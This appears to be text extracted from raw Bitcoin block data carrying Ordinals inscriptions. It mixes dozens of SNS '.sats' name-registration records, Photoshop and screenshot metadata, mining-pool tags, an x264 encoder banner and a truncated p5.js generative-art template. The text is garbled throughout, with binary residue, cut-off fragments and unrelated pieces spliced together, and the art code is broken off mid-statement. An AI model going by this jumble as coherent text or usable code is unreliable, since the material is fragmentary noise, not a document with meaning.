3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ttc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1011.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Coke.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"xxf.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"opensky.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0906.sats"}h! text/plain;charset=utf-8 uiCCPkCGColorSpaceDisplayP3 (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"Olympics.sats"}h! text/plain;charset=utf-8 "name": "shit.sats" "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"qqqq.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0507.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ansh.sats"}h! text/plain;charset=utf-8 "name": "poopie.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"95518.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Sex.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aan.sats"}h! &iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:BA9EFDDAB8B911EDAABDC09M 8AC70C6C0" xmpMM:InstanceID="xmp.iid:BA9EFDD9B8B911EDAABDC098AC70C6C0" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:437B78BDAD0311EDBBD2D25A6858E538" stRef:documentID="xmp.did:437B78BEAD0311EDBBD2D25A6858E538"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0410.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq (((((((((((((((((((((((((((((((((((((((((((((((((( (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"faa.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"suger.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"otte.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"02520.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>634</exif:PixelYDimension> <exif:PixelXDimension>632</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"95599.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 6{"p":"sns","op":"reg","name":"Wallstreetjournal.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"waa.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"timestamp.sats"}h! uiCCPkCGColorSpaceDisplayP3 (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"17888.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0801.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"gtc.sats"}h! 2023-03-02T11:29:16+00:00Z 2023-03-02T11:29:16+00:00+ iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>636</exif:PixelYDimension> <exif:PixelXDimension>630</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Godislove.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0703.sats"}h! uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0907.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"Tigerwoods.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"Realdeal.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Dallas.sats"}h! /ViaBTC/Mined by mow1/, text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"starton.sats"}h! text/plain;charset=utf-8 "name": "coindesk.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"14500.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11451.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"A.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11454.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"888ETH.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"flag.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"14514.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"99912.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88812.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"99923.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"77701.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"99978.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88823.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"99967.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88801.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"99956.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"77723.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"999ETH.sats"}h! text/plain;charset=utf-8 3{"p":"sns","op":"reg","name":"9 iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM /1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:24-08:00" xmp:ModifyDate="2023-02-16T17:49:29-08:00" xmp:MetadataDate="2023-02-16T17:49:29-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:90805647-2e0c-4774-8f2b-fcbf36ad5fbc" xmpMM:DocumentID="adobe:docid:photoshop:090b92a6-148d-9549-bfb9-af708002b424" xmpMM:OriginalDocumentID="xmp.did:96330eed-6028-4041-88d3-c6fc832b8070"> <xmpM MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:96330eed-6028-4041-88d3-c6fc832b8070" stEvt:when="2023-02-16T14:40:24-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:cc04d87b-01e6-47e3-bc5a-4416dbf6e7c0" stEvt:when="2023-02-16T16:20:08-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:90805647-2e0c-4774-8f2b-fcbf36ad5fbc" stEvt:wM hen="2023-02-16T17:49:29-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>& text/plain;charset=utf-8 "name": "alty.sats" text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"888888888.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0786.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0337.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0339.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0332.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0338.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0780.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0360.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0336.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10005.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10029.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10025.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10018.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10032.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10012.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10026.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10031.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10020.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10035.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10014.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10016.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10027.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10033.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10024.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10017.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10028.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10019.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10023.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10022.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10015.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10021.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10030.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10036.sats"}h! FjDOUT:668E5F057E84778E6FABAFE270634BCB2651F73B02AAFED177BB170BEBFCDA88 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYM text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.minM <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern =M for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ M Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >M return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false col = ["#20C2CA", "#16C96E", "#C94434", "#2A6EC9", "#F2C12E", "#F2AE30", "#024959", "#593E25", "#951F4F", "#951F4F", "#FM col2 = ["#FF6580", "#89D9D1", "#8FBABF", "#BFBFBF", "#FEF8B4", "#F23005", "#025159", "#0F3566"] col3 = ["#D92D07", "#333745", "#032CA6", "#F2B705", "#222C40", "#1A0859", "#4146A6", "#1A804D"] col4 = ["#ffffff", "#F2C2E1", "#F2DF80", "#8BD9D9", "#ED83A4", "#BACDD9", "#080A05", "#F20505"] bgcol = ["#F2F7EE", "#EBF2E8", "#F1F2C4", "#CEECF2", "#F2F0CE", "#E9EEE4", "#E6FFFA"] createCanvas(1600,1600); background(random(bgcol)); c = col[Math.floor(mathRandM c2 = col2[Math.floor(mathRand()*col2.length)]; head = Math.floor(mathRand()*6)+1; feets = Math.floor(mathRand()*6)+1; caps = Math.floor(mathRand()*6)+1; rect(600,800,100,400) rect(500,1000,100,100) rect(700,900,100,100) rect(800,1100,100,100) rect(900,900,100,100) rect(600,500,400,100) rect(600,600,100,100) rect(600,700,400,100) rect(1000,600,100,200) rect(800,600,100,100) rect(700,800,100,100) rect(700,1000,100,100) fill(col4[Math.floor(mathRand()*col4.length)]) rect(700,600,100,100) rect(900,600,100,100) fill(col3[Math.floor(mathRand()*col3.length)]) rect(500,900,100,100) rect(500,700,100,100) rect(500,500,100,100) rect(600,400,100,100) rect(800,400,100,100) rect(600,500,400,100) rect(600,600,100,100) rect(1000,600,100,100) rect(600,600,100,100) rect(800,600,100,100) rect(1000,600,100,100) rect(700,600,300,100) fill(189, 191, 191) rect(600,500,400,100) rect(600,600,100,100) rect(800,600,100,100) rect(1000,600,100,100) rect(700,700,100,100) rect(900,700,100,100) rect(1100,700,100,100) rect(600,800,100,400) rect(500,1000,100,100) rect(700,900,100,100) rect(800,1100,100,100) rect(900,900,100,100) rect(600,500,400,100) rect(600,600,100,100) rect(600,700,400,100) rect(1000,600,100,200) rect(800,600,100,100) rect(700,600,1000,100) rect(500,1200,500,100) rect(400,1100,100,100) fill(223, 223, 223) rect(600,1300,100,100) rect(800,1300,100,100) rect(500,1300,400,100) fill(223, 223, 223) rect(0,1200,400,100) rect(0,900,100,300) rect(100,1300,100,100) rect(200,1100,100,100) rect(300,1300,100,100) rect(100,1000,100,100) rect(600,1200,100,100) rect(800,1200,100,100) fill(223, 223, 223) rect(700,1200,100,100) rect(400,1200,200,100) rect(300,1100,200,1M rect(200,1000,200,100) rect(100,900,200,100) rect(100,800,100,100) rect(200,1200,100,100) rect(100,1100,100,100) rect(800,800,100,300) rect(700,800,100,100) rect(700,1000,100,100) rect(500,400,500,100) rect(700,300,300,100) rect(600,400,500,100) rect(600,300,300,100) rect(600,400,400,100) rect(700,300,200,100) rect(500,400,500,100) rect(500,300,100,100) rect(700,300,100,100) rect(900,300,100,100) rect(600,500,400,100) rect(500,600,100,100) rect(800,800,100,300) rect(700,800,100,100) rect(700,1000,100,100) text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 (((((((((((((((((((((((((((((((((((((((((((((((((( (((((((((((((((((((((((((((((((((((((((((((((((((( iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>638</exif:PixelYDimension> <exif:PixelXDimension>632</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> urn:mpeg:mpegB:cicp:systems:auxiliary:alpha iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>636</exif:PixelYDimension> <exif:PixelXDimension>630</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0808.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"mimi.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"2345.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0809.sats"}h! text/plain;charset=utf-8 "name": "eatme.sats" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"God.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"daa.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0701.sats"}h! uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"kaiwen.sats"}h! 2023-03-02T08:00:05+00:00 2023-03-02T08:00:05+00:00ht, 2023-03-02T08:00:06+00:00 text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Christmas.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"zkbtc.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ntn.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"tigers.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"haus.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0419.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aaq.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0902.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"Warriors.sats"}h! text/plain;charset=utf-8 "name": "schenk.sats" d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 "name": "hello2023.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"8BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6BTC.sats"}h! text/plain;charset=utf-8 "name": "altbtc.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "06960.sats" text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*2.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"*10.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*3.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10037.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10034.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10047.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10050.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*5.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10048.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10046.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*9.sats"}h! text/plain;charset=utf-8 "name": "Wolf.sats" text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*7.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*6.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10039.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10038.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*4.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10053.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"*8.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "xrey.sats" -http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BD4B43BCB23E11ED812F8D09451E17E5" xmpMM:DocumentID="xmp.did:BD4B43BDB23E11ED812F8D09451E17E5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BD4B43BAB23E11ED812F8D09451E17E5" stRef:documentID="xmp.did:BD4B43BBB23E11ED812F8D09451E17E5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> )A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG ))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 THE ROLLING STONES text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "first.sats" text/plain;charset=utf-8 "name": "cypher.sats" "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"34223.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"raa.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"5.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9876.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"saa.sats"}h! 2023-03-02T09:25:07+00:00 2023-03-02T09:25:07+00:00 2023-03-02T09:25:08+00:00=e text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"deepak.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"defecate.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"foto.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"daddy.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aal.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Japan.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"paa.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mcm.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"NewYork.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq :AWAWAWAWAWAWAWAWAWA x264 - core 163 r3060 5db6aa6 - H.264/MPEG-4 AVC codec - Copyleft 2003-2021 - http://www.videolan.org/x264.html - options: cabac=0 ref=1 deblock=0:0:0 analyse=0:0 me=dia subme=0 psy=1 psy_rd=1.00:0.00 mixed_ref=0 me_range=16 chroma_me=1 trellis=0 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=0 threads=8 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=0 weightp=0 keyintM =250 keyint_min=10 scenecut=0 intra_refresh=0 rc=crf mbtree=0 crf=40.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=0 Lavc59.37.100 libx264 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"111188.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"nny.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"meiz.sats"}h! "3 % % 